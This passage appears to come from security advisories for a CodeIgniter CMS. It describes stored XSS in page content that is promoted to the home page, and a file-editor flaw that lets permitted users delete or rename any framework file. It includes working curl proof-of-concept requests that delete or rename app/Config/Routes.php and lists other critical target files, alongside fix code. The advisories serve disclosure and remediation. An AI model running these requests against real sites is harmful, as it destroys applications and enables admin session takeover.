curl -k -b cookies.txt -X POST https://target/backend/pages/setHomePage/<page_id> \
  -H 'X-Requested-With: XMLHttpRequest'

After this, the malicious page is served at / to every visitor, including unauthenticated visitors and admins navigating to the front-end.

Impact

• Stored XSS in public-facing site: any visitor to a malicious page slug — or to / if the page is set as home — executes the attacker's JavaScript.
• Admin account takeover: an authenticated admin who loads the public page (common during normal site review) leaks their Shield session cookie / CSRF token, enabling the attacker to ride the session against the entire /backend/* surface (full CMS administration, user management, file editor, backups, theme upload).
• Privilege escalation: the attacker only needs pages.create (a role typically delegated to non-admin content authors), but obtains code execution in the admin's browser, escaping the content-author security boundary into the admin's. This is the rationale for S:C in the CVSS vector.
• Persistence and broad reach: the payload is database-backed and survives until the row is edited or deleted; the home-page promotion converts a single-slug XSS into a site-wide drive-by.

Recommended Fix

Stop relying on the broken reference-mutation pattern. The simplest, safest fix is to call the existing sanitizeHtml / getClean helper explicitly when persisting the content. In modules/Pages/Controllers/Pages.php:

use Modules\Backend\Validation\CustomRules;

// Pages::create() — replace line 111
$this->commonModel->create('pages_langs', [
    'pages_id' => $insertID,
    'lang'     => $langCode,
    'title'    => strip_tags(trim($lData['title'])),
    'seflink'  => strip_tags(trim($lData['seflink'])),
    'content'  => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),
    'seo'      => $seoData
]);

// Pages::update() — replace line 157
$langUpdate = [
    'title'   => strip_tags(trim($lData['title'])),
    'seflink' => strip_tags(trim($lData['seflink'])),
    'content' => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),
    'seo'     => $seoData
];

Apply the same pattern in every other module that uses html_purify (Blog, etc.). For defense-in-depth, also escape on output for any field that is not intended to be raw HTML, and consider rewriting the html_purify rule to operate on $data so the validator stores the sanitized result via getValidated() rather than relying on a reference mutation that the framework discards.

Summary

The Fileeditor module enforces an extension allowlist (['css','js','html','txt','json','sql','md']) on content-write operations (saveFile, createFile), but two destructive endpoints — deleteFileOrFolder and renameFile — never validate the extension of the source path. A backend user with file-editor permissions can therefore unlink or rename any file inside the project root that is not explicitly listed in the small $hiddenItems blocklist. Critical framework files such as app/Config/Routes.php, app/Config/App.php, app/Config/Database.php, app/Config/Filters.php, public/index.php, and public/.htaccess all live outside that blocklist and can be destroyed, producing a persistent denial of service that requires filesystem-level redeployment to recover.

Details

Root cause: inconsistent application of the extension allowlist across Fileeditor operations in modules/Fileeditor/Controllers/Fileeditor.php.

The class declares an allowlist used by content-write operations:

// modules/Fileeditor/Controllers/Fileeditor.php:9
protected $allowedExtensions = ['css', 'js', 'html', 'txt', 'json', 'sql', 'md'];

// line 239
private function allowedFileTypes(string $file): bool
{
    $extension = pathinfo($file, PATHINFO_EXTENSION);
    if (!in_array(strtolower($extension), $this->allowedExtensions)) {
        return false;
    }
    return true;
}

saveFile (line 110) and createFile (line 167) correctly call allowedFileTypes() against the target path before writing. The two destructive endpoints do not:

// deleteFileOrFolder — modules/Fileeditor/Controllers/Fileeditor.php:210-237
public function deleteFileOrFolder()
{
    $valData = ([
        'path' => ['label' => '', 'rules' => 'required|max_length[255]|regex_match[/^[a-zA-Z0-9_ \-\.\/]+$/]'],
    ]);
    if ($this->validate($valData) == false) return $this->fail($this->validator->getErrors());
    $path = $this->request->getVar('path');
    if ($this->isHiddenPath($path)) {
        return $this->failForbidden();
    }
    $fullPath = realpath(ROOTPATH . $path);

    if (!$fullPath || strpos($fullPath, realpath(ROOTPATH)) !== 0) {
        return $this->response->setJSON(['error' => lang('Fileeditor.invalidFileOrFolder')])->setStatusCode(400);
    }

    if (is_dir($fullPath)) {
        $result = rmdir($fullPath);
    } else {
        $result = unlink($fullPath);   // executes on ANY extension
    }
    ...
}

// renameFile — modules/Fileeditor/Controllers/Fileeditor.php:123-151
public function renameFile()
{
    ...
    $path = $this->request->getVar('path');
    if ($this->isHiddenPath($path)) {
        return $this->failForbidden();
    }
    $newName = $this->request->getVar('newName');
    $fullPath = realpath(ROOTPATH . $path);
    $newPath = dirname($fullPath) . DIRECTORY_SEPARATOR . $newName;

    if (!$this->allowedFileTypes($newName))   // <— only the destination is checked
        return $this->failForbidden();
    ...
    if (rename($fullPath, $newPath)) { ... }   // source extension never validated
}

The validation gauntlet a path traverses before reaching unlink()/rename():

1. Regex /^[a-zA-Z0-9_ \-\.\/]+$/ — admits any path made of alphanumerics, dots, dashes, underscores, slashes (matches app/Config/Routes.php trivially).
2. isHiddenPath() — only blocks paths whose individual segments equal an entry in $hiddenItems:

// modules/Fileeditor/Controllers/Fileeditor.php:10-26
protected $hiddenItems = [
    '.git', '.github', '.idea', '.vscode', 'node_modules', 'vendor',
    'writable', '.env', 'env', 'composer.json', 'composer.lock',
    'tests', 'spark', 'phpunit.xml.dist', 'preload.php'
];

Critical CodeIgniter 4 framework files (app, Config, Routes.php, App.php, Database.php, Filters.php, public, index.php, .htaccess) are not members of this list, so they pass.

3. realpath + strpos containment — confirms the resolved path is inside ROOTPATH. Routes.php, etc., are inside ROOTPATH and pass.

4. Sink — unlink() or rename() runs unconditionally; no extension allowlist applied.

The recent security patch in commit 379ebb6 ("Security: patch critical vulnerabilities and bump to v0.31.4.0") added isHiddenPath() invocations to every endpoint, addressing the previous .env reachability. It did not address the missing extension allowlist on delete and rename source paths. The inconsistency therefore survives in HEAD (v0.31.8.0).

Authorization is provided by the backendGuard filter (modules/Fileeditor/Config/FileeditorConfig.php:12-17) routing through Modules\Auth\Filters\Ci4MsAuthFilter, which requires the role permission fileeditor.delete for deleteFileOrFolder and fileeditor.update for renameFile. Superadmins always pass; role-assigned users with only the Fileeditor permission can also reach the sink, exceeding the editor's apparent design intent (the allowlist on save/create signals that the editor is meant to handle only safe content-type files).

PoC

Prerequisites: an authenticated session with fileeditor.delete (or superadmin) for step 1, and fileeditor.update for step 2. The application is mounted under backend/, not admin/.

# 1) Arbitrary file deletion (no extension check at all)
curl -X POST 'https://target/backend/fileeditor/deleteFileOrFolder' \
  -H 'Cookie: ci_session=<admin>' \
  --data-urlencode 'path=app/Config/Routes.php'
# -> {"success": true}
# Routes.php is unlinked. The next request fails because no routes load. Persistent DoS.

# Equivalently catastrophic targets (none of these segments are in $hiddenItems):
#   path=public/index.php           (front controller — entire app dead)
#   path=app/Config/App.php         (core app config)
#   path=app/Config/Database.php    (DB config)
#   path=app/Config/Filters.php     (auth/CSRF filters)
#   path=public/.htaccess           (rewrite + security rules)

# 2) Rename .php to neutralize the file without checking the source extension
curl -X POST 'https://target/backend/fileeditor/renameFile' \
  -H 'Cookie: ci_session=<admin>' \
  --data-urlencode 'path=app/Config/Routes.php' \
  --data-urlencode 'newName=Routes.txt'
# -> {"success": true}
# Routes.php disappears, becomes Routes.txt. Routing dies on next request.

Trace verifying the validation logic for path=app/Config/Routes.php:

• Regex /^[a-zA-Z0-9_ \-\.\/]+$/ — matches.
• isHiddenPath('app/Config/Routes.php') — segments ['app','Config','Routes.php'], none in $hiddenItems → returns false.
• realpath(ROOTPATH . 'app/Config/Routes.php') — resolves inside ROOTPATH, containment check passes.
• unlink($fullPath) (deleteFileOrFolder, line 229) or rename($fullPath, $newPath) (renameFile, line 146) executes — no extension allowlist applied.

Impact

A backend user holding the Fileeditor delete or update permission can:

• Delete or neutralize the front controller (public/index.php), routing config (app/Config/Routes.php), database config (app/Config/Database.php), filter pipeline (app/Config/Filters.php), web-server rules (public/.htaccess), or any other framework file inside the project root.
• Cause persistent denial of service: the application becomes unreachable on the next request and there is no in-app "restore" — recovery requires filesystem access (redeploy, git checkout, or backup restore).
• Destroy data files inside the project tree (e.g. SQLite databases, cached config) outside the small $hiddenItems blocklist.

The destructive surface exceeds Fileeditor's intended capability: the saveFile/createFile allowlist signals an explicit design intent to restrict modifications to safe content extensions, yet delete/rename can target arbitrary file types. Even where the actor is already a superadmin, the bug widens the destructive blast radius beyond what the editor UI exposes and beyond what fileeditor.delete plausibly authorizes for non-superadmin role holders.

The path is gated by an admin-tier permission, so PR:H is honest; impact is limited to integrity/availability of files reachable by the web server user.

Recommended Fix

Apply the same allowedFileTypes() allowlist (or a stricter directory allowlist for editor-managed assets) to the source path in both destructive endpoints. After the existing realpath containment check:

// In deleteFileOrFolder, after line 224:
if (!is_dir($fullPath) && !$this->allowedFileTypes($fullPath)) {
    return $this->failForbidden();
}

// In renameFile, alongside the existing $newName check at line 139:
if (!$this->allowedFileTypes($fullPath) || !$this->allowedFileTypes($newName)) {
    return $this->failForbidden();
}

Stronger hardening — and aligned with the editor's apparent intent — is to confine all Fileeditor operations to a directory allowlist (e.g. public/templates/, public/uploads/) rather than the entire ROOTPATH, and to extend $hiddenItems (or replace it with a denylist of full path prefixes) so that app/Config, public/index.php, public/.htaccess, and similar framework artefacts cannot be reached even by symlink or alternate casing.